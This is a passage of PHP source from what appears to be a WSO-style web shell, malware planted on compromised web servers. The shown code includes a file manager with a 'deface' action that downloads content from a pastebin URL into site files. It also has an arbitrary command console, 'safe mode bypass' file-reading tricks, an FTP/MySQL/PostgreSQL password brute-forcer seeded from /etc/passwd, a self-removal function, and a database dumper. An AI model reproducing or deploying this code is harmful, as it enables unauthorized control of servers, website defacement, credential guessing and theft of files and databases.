  599. if($_SESSION['act'] == 'copy') {
  600. function copy_paste($c,$s,$d){
  601. if(is_dir($c.$s)){
  602. mkdir($d.$s);
  603. $h = opendir($c.$s);
  604. while (($f = readdir($h)) !== false)
  605. if (($f != ".") and ($f != "..")) {
  606. copy_paste($c.$s.'/',$f, $d.$s.'/');
  607. }
  608. } elseif(is_file($c.$s)) {
  609. @copy($c.$s, $d.$s);
  610. }
  611. }
  612. foreach($_SESSION['f'] as $f)
  613. copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
  614. } elseif($_SESSION['act'] == 'move') {
  615. function move_paste($c,$s,$d){
  616. if(is_dir($c.$s)){
  617. mkdir($d.$s);
  618. $h = opendir($c.$s);
  619. while (($f = readdir($h)) !== false)
  620. if (($f != ".") and ($f != "..")) {
  621. copy_paste($c.$s.'/',$f, $d.$s.'/');
  622. }
  623. } elseif(is_file($c.$s)) {
  624. @copy($c.$s, $d.$s);
  625. }
  626. }
  627. foreach($_SESSION['f'] as $f)
  628. @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
  629. }
  630. unset($_SESSION['f']);
  631. break;
  632. default:
  633. if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
  634. $_SESSION['act'] = @$_POST['p1'];
  635. $_SESSION['f'] = @$_POST['f'];
  636. foreach($_SESSION['f'] as $k => $f)
  637. $_SESSION['f'][$k] = urldecode($f);
  638. $_SESSION['cwd'] = @$_POST['c'];
  639. }
  640. break;
  641. }
  642. echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
  643. }
  644. if(isset($_POST['p1']) && $_POST['p1']=='deface') {
  645. $def = file_get_contents('http://pastebin.com/download.php?i=f8T6tQse');
  646. file_put_contents($_POST['c'].$_POST['p2'],$def);
  647. }
  648. $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  649. if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
  650. global $sort;
  651. $sort = array('name', 1);
  652. if(!empty($_POST['p1'])) {
  653. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  654. $sort = array($match[1], (int)$match[2]);
  655. }
  656. echo '<script>
  657. function sa() {
  658. for(i=0;i<document.files.elements.length;i++)
  659. if(document.files.elements[i].type == \'checkbox\')
  660. document.files.elements[i].checked = document.files.elements[0].checked;
  661. }
  662. </script>
  663. <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
  664. <form name=files method=post>';
  665. echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  666. $dirs = $files = $links = array();
  667. $n = count($dirContent);
  668. for($i=0;$i<$n;$i++) {
  669. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  670. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  671. $tmp = array('name' => $dirContent[$i],
  672. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  673. 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
  674. 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
  675. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  676. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  677. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  678. );
  679. if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
  680. $files[] = array_merge($tmp, array('type' => 'file'));
  681. elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
  682. $links[] = array_merge($tmp, array('type' => 'link'));
  683. elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
  684. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  685. }
  686. $GLOBALS['sort'] = $sort;
  687. function cmp($a, $b) {
  688. if($GLOBALS['sort'][0] != 'size')
  689. return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
  690. else
  691. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  692. }
  693. usort($files, "cmp");
  694. usort($dirs, "cmp");
  695. usort($links, "cmp");
  696. $files = array_merge($dirs, $links, $files);
  697. $l = 0;
  698. foreach($files as $f) {
  699. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  700. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  701. $l = $l?0:1;
  702. }
  703. echo '<tr><td colspan=5>
  704. <input type=hidden name=a value=\'FilesMan\'>
  705. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  706. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  707. <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
  708. if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
  709. echo '</select>&nbsp;<input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="index.php" size="10"/>&nbsp;<input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Add your Deface"></td></tr>
  710. </form></table></div>';
  711. printFooter();
  712. }
  713.  
  714. function actionStringTools() {
  715. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  716. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  717. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
  718. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  719.  
  720. if(isset($_POST['ajax'])) {
  721. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  722. ob_start();
  723. if(function_exists($_POST['p1']))
  724. echo $_POST['p1']($_POST['p2']);
  725. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  726. echo strlen($temp), "\n", $temp;
  727. exit;
  728. }
  729. printHeader();
  730. echo '<h1>String conversions</h1><div class=content>';
  731. $stringTools = array(
  732. 'Base64 encode' => 'base64_encode',
  733. 'Base64 decode' => 'base64_decode',
  734. 'Url encode' => 'urlencode',
  735. 'Url decode' => 'urldecode',
  736. 'Full urlencode' => 'full_urlencode',
  737. 'md5 hash' => 'md5',
  738. 'sha1 hash' => 'sha1',
  739. 'crypt' => 'crypt',
  740. 'CRC32' => 'crc32',
  741. 'ASCII to HEX' => 'ascii2hex',
  742. 'HEX to ASCII' => 'hex2ascii',
  743. 'HEX to DEC' => 'hexdec',
  744. 'HEX to BIN' => 'hex2bin',
  745. 'DEC to HEX' => 'dechex',
  746. 'DEC to BIN' => 'decbin',
  747. 'BIN to HEX' => 'bin2hex',
  748. 'BIN to DEC' => 'bindec',
  749. 'String to lower case' => 'strtolower',
  750. 'String to upper case' => 'strtoupper',
  751. 'Htmlspecialchars' => 'htmlspecialchars',
  752. 'String length' => 'strlen',
  753. );
  754. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  755. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  756. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  757. foreach($stringTools as $k => $v)
  758. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  759. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  760. if(!empty($_POST['p1'])) {
  761. if(function_exists($_POST['p1']))
  762. echo htmlspecialchars($_POST['p1']($_POST['p2']));
  763. }
  764. echo"</pre></div>";
  765. printFooter();
  766. }
  767.  
  768. function actionFilesTools() {
  769. if( isset($_POST['p1']) )
  770. $_POST['p1'] = urldecode($_POST['p1']);
  771. if(@$_POST['p2']=='download') {
  772. if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
  773. ob_start("ob_gzhandler", 4096);
  774. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  775. if (function_exists("mime_content_type")) {
  776. $type = @mime_content_type($_POST['p1']);
  777. header("Content-Type: ".$type);
  778. }
  779. $fp = @fopen($_POST['p1'], "r");
  780. if($fp) {
  781. while(!@feof($fp))
  782. echo @fread($fp, 1024);
  783. fclose($fp);
  784. }
  785. } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
  786.  
  787. }
  788. exit;
  789. }
  790. if( @$_POST['p2'] == 'mkfile' ) {
  791. if(!file_exists($_POST['p1'])) {
  792. $fp = @fopen($_POST['p1'], 'w');
  793. if($fp) {
  794. $_POST['p2'] = "edit";
  795. fclose($fp);
  796. }
  797. }
  798. }
  799. printHeader();
  800. echo '<h1>File tools</h1><div class=content>';
  801. if( !file_exists(@$_POST['p1']) ) {
  802. echo 'File not exists';
  803. printFooter();
  804. return;
  805. }
  806. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  807. $gid = @posix_getgrgid(@fileowner($_POST['p1']));
  808. echo '<span>Name:</span> '.htmlspecialchars($_POST['p1']).' <span>Size:</span> '.(is_file($_POST['p1'])?viewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.viewPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  809. echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  810. if( empty($_POST['p2']) )
  811. $_POST['p2'] = 'view';
  812. if( is_file($_POST['p1']) )
  813. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  814. else
  815. $m = array('Chmod', 'Rename', 'Touch');
  816. foreach($m as $v)
  817. echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  818. echo '<br><br>';
  819. switch($_POST['p2']) {
  820. case 'view':
  821. echo '<pre class=ml1>';
  822. $fp = @fopen($_POST['p1'], 'r');
  823. if($fp) {
  824. while( !@feof($fp) )
  825. echo htmlspecialchars(@fread($fp, 1024));
  826. @fclose($fp);
  827. }
  828. echo '</pre>';
  829. break;
  830. case 'highlight':
  831. if( is_readable($_POST['p1']) ) {
  832. echo '<div class=ml1 style="background-color: #430303;color:black;">';
  833. $code = highlight_file($_POST['p1'],true);
  834. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  835. }
  836. break;
  837. case 'chmod':
  838. if( !empty($_POST['p3']) ) {
  839. $perms = 0;
  840. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  841. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  842. if(!@chmod($_POST['p1'], $perms))
  843. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  844. else
  845. die('<script>g(null,null,null,null,"")</script>');
  846. }
  847. echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  848. break;
  849. case 'edit':
  850. if( !is_writable($_POST['p1'])) {
  851. echo 'File isn\'t writeable';
  852. break;
  853. }
  854. if( !empty($_POST['p3']) ) {
  855. @file_put_contents($_POST['p1'],$_POST['p3']);
  856. echo 'Saved!<br><script>document.mf.p3.value="";</script>';
  857. }
  858. echo '<form onsubmit="g(null,null,null,null,this.text.value);return false;"><textarea name=text class=bigarea>';
  859. $fp = @fopen($_POST['p1'], 'r');
  860. if($fp) {
  861. while( !@feof($fp) )
  862. echo htmlspecialchars(@fread($fp, 1024));
  863. @fclose($fp);
  864. }
  865. echo '</textarea><input type=submit value=">>"></form>';
  866. break;
  867. case 'hexdump':
  868. $c = @file_get_contents($_POST['p1']);
  869. $n = 0;
  870. $h = array('00000000<br>','','');
  871. $len = strlen($c);
  872. for ($i=0; $i<$len; ++$i) {
  873. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  874. switch ( ord($c[$i]) ) {
  875. case 0: $h[2] .= ' '; break;
  876. case 9: $h[2] .= ' '; break;
  877. case 10: $h[2] .= ' '; break;
  878. case 13: $h[2] .= ' '; break;
  879. default: $h[2] .= $c[$i]; break;
  880. }
  881. $n++;
  882. if ($n == 32) {
  883. $n = 0;
  884. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  885. $h[1] .= '<br>';
  886. $h[2] .= "\n";
  887. }
  888. }
  889. echo '<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#red><pre>'.$h[1].'</pre></td><td bgcolor=#red><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  890. break;
  891. case 'rename':
  892. if( !empty($_POST['p3']) ) {
  893. if(!@rename($_POST['p1'], $_POST['p3']))
  894. echo 'Can\'t rename!<br><script>document.mf.p3.value="";</script>';
  895. else
  896. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  897. }
  898. echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  899. break;
  900. case 'touch':
  901. if( !empty($_POST['p3']) ) {
  902. $time = strtotime($_POST['p3']);
  903. if($time) {
  904. if(@touch($_POST['p1'],$time,$time))
  905. die('<script>g(null,null,null,null,"")</script>');
  906. else {
  907. echo 'Fail!<script>document.mf.p3.value="";</script>';
  908. }
  909. } else echo 'Bad time format!<script>document.mf.p3.value="";</script>';
  910. }
  911. echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  912. break;
  913. case 'mkfile':
  914.  
  915. break;
  916. }
  917. echo '</div>';
  918. printFooter();
  919. }
  920.  
  921. function actionSafeMode() {
  922. $temp='';
  923. ob_start();
  924. switch($_POST['p1']) {
  925. case 1:
  926. $temp=@tempnam($test, 'cx');
  927. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  928. echo @file_get_contents($temp);
  929. unlink($temp);
  930. } else
  931. echo 'Sorry... Can\'t open file';
  932. break;
  933. case 2:
  934. $files = glob($_POST['p2'].'*');
  935. if( is_array($files) )
  936. foreach ($files as $filename)
  937. echo $filename."\n";
  938. break;
  939. case 3:
  940. $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH);
  941. curl_exec($ch);
  942. break;
  943. case 4:
  944. ini_restore("safe_mode");
  945. ini_restore("open_basedir");
  946. include($_POST['p2']);
  947. break;
  948. case 5:
  949. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  950. $uid = @posix_getpwuid($_POST['p2']);
  951. if ($uid)
  952. echo join(':',$uid)."\n";
  953. }
  954. break;
  955. case 6:
  956. if(!function_exists('imap_open'))break;
  957. $stream = imap_open($_POST['p2'], "", "");
  958. if ($stream == FALSE)
  959. break;
  960. echo imap_body($stream, 1);
  961. imap_close($stream);
  962. break;
  963. }
  964. $temp = ob_get_clean();
  965. printHeader();
  966. echo '<h1>Safe mode bypass</h1><div class=content>';
  967. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form>';
  968. if($temp)
  969. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
  970. echo '</div>';
  971. printFooter();
  972. }
  973.  
  974. function actionConsole() {
  975. if(isset($_POST['ajax'])) {
  976. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  977. ob_start();
  978. echo "document.cf.cmd.value='';\n";
  979. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\\'\0"));
  980. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  981. if(@chdir($match[1])) {
  982. $GLOBALS['cwd'] = @getcwd();
  983. echo "document.mf.c.value='".$GLOBALS['cwd']."';";
  984. }
  985. }
  986. echo "document.cf.output.value+='".$temp."';";
  987. echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
  988. $temp = ob_get_clean();
  989. echo strlen($temp), "\n", $temp;
  990. exit;
  991. }
  992. printHeader();
  993.  
  994. echo '<script>
  995. if(window.Event) window.captureEvents(Event.KEYDOWN);
  996. var cmds = new Array("");
  997. var cur = 0;
  998. function kp(e) {
  999. var n = (window.Event) ? e.which : e.keyCode;
  1000. if(n == 38) {
  1001. cur--;
  1002. if(cur>=0)
  1003. document.cf.cmd.value = cmds[cur];
  1004. else
  1005. cur++;
  1006. } else if(n == 40) {
  1007. cur++;
  1008. if(cur < cmds.length)
  1009. document.cf.cmd.value = cmds[cur];
  1010. else
  1011. cur--;
  1012. }
  1013. }
  1014. function add(cmd) {
  1015. cmds.pop();
  1016. cmds.push(cmd);
  1017. cmds.push("");
  1018. cur = cmds.length-1;
  1019. }
  1020. </script>';
  1021. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
  1022. foreach($GLOBALS['aliases'] as $n => $v) {
  1023. if($v == '') {
  1024. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1025. continue;
  1026. }
  1027. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1028. }
  1029. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1030. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1031. echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;" readonly>';
  1032. if(!empty($_POST['p1'])) {
  1033. echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  1034. }
  1035. echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;" onkeydown="kp(event);">';
  1036. echo '</form></div><script>document.cf.cmd.focus();</script>';
  1037. printFooter();
  1038. }
  1039.  
  1040. function actionLogout() {
  1041. unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  1042. echo '<title>Get out Now</title><body bgcolor=#000000><center><img src="http://i59.tinypic.com/1zx9mbb.gif"><br>
  1043. <style type="text/css">body, a:hover {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1054.cur), progress !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/02/11/chrome-pointer.html" target="_blank" title="Chrome Pointer"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="Chrome Pointer" style="position:absolute; top: 0px; right: 0px;" /></a>
  1044. <span style="color:red;font: 20pt audiowide;text-shadow: 0 0 4px white, 0px 0px 10px red">Your are out now :D<br></h2></span></center></body>';
  1045. }
  1046.  
  1047. function actionSelfRemove() {
  1048. printHeader();
  1049. if($_POST['p1'] == 'yes') {
  1050. if(@unlink(SELF_PATH))
  1051. die('Shell has been removed');
  1052. else
  1053. echo 'unlink error!';
  1054. }
  1055. echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1056. printFooter();
  1057. }
  1058.  
  1059. function actionBruteforce() {
  1060. printHeader();
  1061. if( isset($_POST['proto']) ) {
  1062. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1063. if( $_POST['proto'] == 'ftp' ) {
  1064. function bruteForce($ip,$port,$login,$pass) {
  1065. $fp = @ftp_connect($ip, $port?$port:21);
  1066. if(!$fp) return false;
  1067. $res = @ftp_login($fp, $login, $pass);
  1068. @ftp_close($fp);
  1069. return $res;
  1070. }
  1071. } elseif( $_POST['proto'] == 'mysql' ) {
  1072. function bruteForce($ip,$port,$login,$pass) {
  1073. $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
  1074. @mysql_close($res);
  1075. return $res;
  1076. }
  1077. } elseif( $_POST['proto'] == 'pgsql' ) {
  1078. function bruteForce($ip,$port,$login,$pass) {
  1079. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=''";
  1080. $res = @pg_connect($server[0].':'.$server[1]?$server[1]:5432, $login, $pass);
  1081. @pg_close($res);
  1082. return $res;
  1083. }
  1084. }
  1085. $success = 0;
  1086. $attempts = 0;
  1087. $server = explode(":", $_POST['server']);
  1088. if($_POST['type'] == 1) {
  1089. $temp = @file('/etc/passwd');
  1090. if( is_array($temp) )
  1091. foreach($temp as $line) {
  1092. $line = explode(":", $line);
  1093. ++$attempts;
  1094. if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1095. $success++;
  1096. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1097. }
  1098. if(@$_POST['reverse']) {
  1099. $tmp = "";
  1100. for($i=strlen($line[0])-1; $i>=0; --$i)
  1101. $tmp .= $line[0][$i];
  1102. ++$attempts;
  1103. if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1104. $success++;
  1105. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1106. }
  1107. }
  1108. }
  1109. } elseif($_POST['type'] == 2) {
  1110. $temp = @file($_POST['dict']);
  1111. if( is_array($temp) )
  1112. foreach($temp as $line) {
  1113. $line = trim($line);
  1114. ++$attempts;
  1115. if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1116. $success++;
  1117. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1118. }
  1119. }
  1120. }
  1121. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1122. }
  1123. echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1124. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1125. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1126. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1127. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1128. .'<span>Server:port</span></td>'
  1129. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1130. .'<tr><td><span>Brute type</span></td>'
  1131. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1132. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1133. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1134. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1135. .'<td><input type=text name=login value="komsen"></td></tr>'
  1136. .'<tr><td><span>Dictionary</span></td>'
  1137. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1138. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1139. echo '</div><br>';
  1140. printFooter();
  1141. }
  1142.  
  1143. function actionSql() {
  1144. class DbClass {
  1145. var $type;
  1146. var $link;
  1147. var $res;
  1148. function DbClass($type) {
  1149. $this->type = $type;
  1150. }
  1151. function connect($host, $user, $pass, $dbname){
  1152. switch($this->type) {
  1153. case 'mysql':
  1154. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1155. break;
  1156. case 'pgsql':
  1157. $host = explode(':', $host);
  1158. if(!$host[1]) $host[1]=5432;
  1159. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1160. break;
  1161. }
  1162. return false;
  1163. }
  1164. function selectdb($db) {
  1165. switch($this->type) {
  1166. case 'mysql':
  1167. if (@mysql_select_db($db))return true;
  1168. break;
  1169. }
  1170. return false;
  1171. }
  1172. function query($str) {
  1173. switch($this->type) {
  1174. case 'mysql':
  1175. return $this->res = @mysql_query($str);
  1176. break;
  1177. case 'pgsql':
  1178. return $this->res = @pg_query($this->link,$str);
  1179. break;
  1180. }
  1181. return false;
  1182. }
  1183. function fetch() {
  1184. $res = func_num_args()?func_get_arg(0):$this->res;
  1185. switch($this->type) {
  1186. case 'mysql':
  1187. return @mysql_fetch_assoc($res);
  1188. break;
  1189. case 'pgsql':
  1190. return @pg_fetch_assoc($res);
  1191. break;
  1192. }
  1193. return false;
  1194. }
  1195. function listDbs() {
  1196. switch($this->type) {
  1197. case 'mysql':
  1198. return $this->res = @mysql_list_dbs($this->link);
  1199. break;
  1200. case 'pgsql':
  1201. return $this->res = $this->query("SELECT datname FROM pg_database");
  1202. break;
  1203. }
  1204. return false;
  1205. }
  1206. function listTables() {
  1207. switch($this->type) {
  1208. case 'mysql':
  1209. return $this->res = $this->query('SHOW TABLES');
  1210. break;
  1211. case 'pgsql':
  1212. return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_user'");
  1213. break;
  1214. }
  1215. return false;
  1216. }
  1217. function error() {
  1218. switch($this->type) {
  1219. case 'mysql':
  1220. return @mysql_error($this->link);
  1221. break;
  1222. case 'pgsql':
  1223. return @pg_last_error($this->link);
  1224. break;
  1225. }
  1226. return false;
  1227. }
  1228. function setCharset($str) {
  1229. switch($this->type) {
  1230. case 'mysql':
  1231. if(function_exists('mysql_set_charset'))
  1232. return @mysql_set_charset($str, $this->link);
  1233. else
  1234. $this->query('SET CHARSET '.$str);
  1235. break;
  1236. case 'mysql':
  1237. return @pg_set_client_encoding($this->link, $str);
  1238. break;
  1239. }
  1240. return false;
  1241. }
  1242. function dump($table) {
  1243. switch($this->type) {
  1244. case 'mysql':
  1245. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1246. $create = mysql_fetch_array($res);
  1247. echo $create[1].";\n\n";
  1248. $this->query('SELECT * FROM `'.$table.'`');
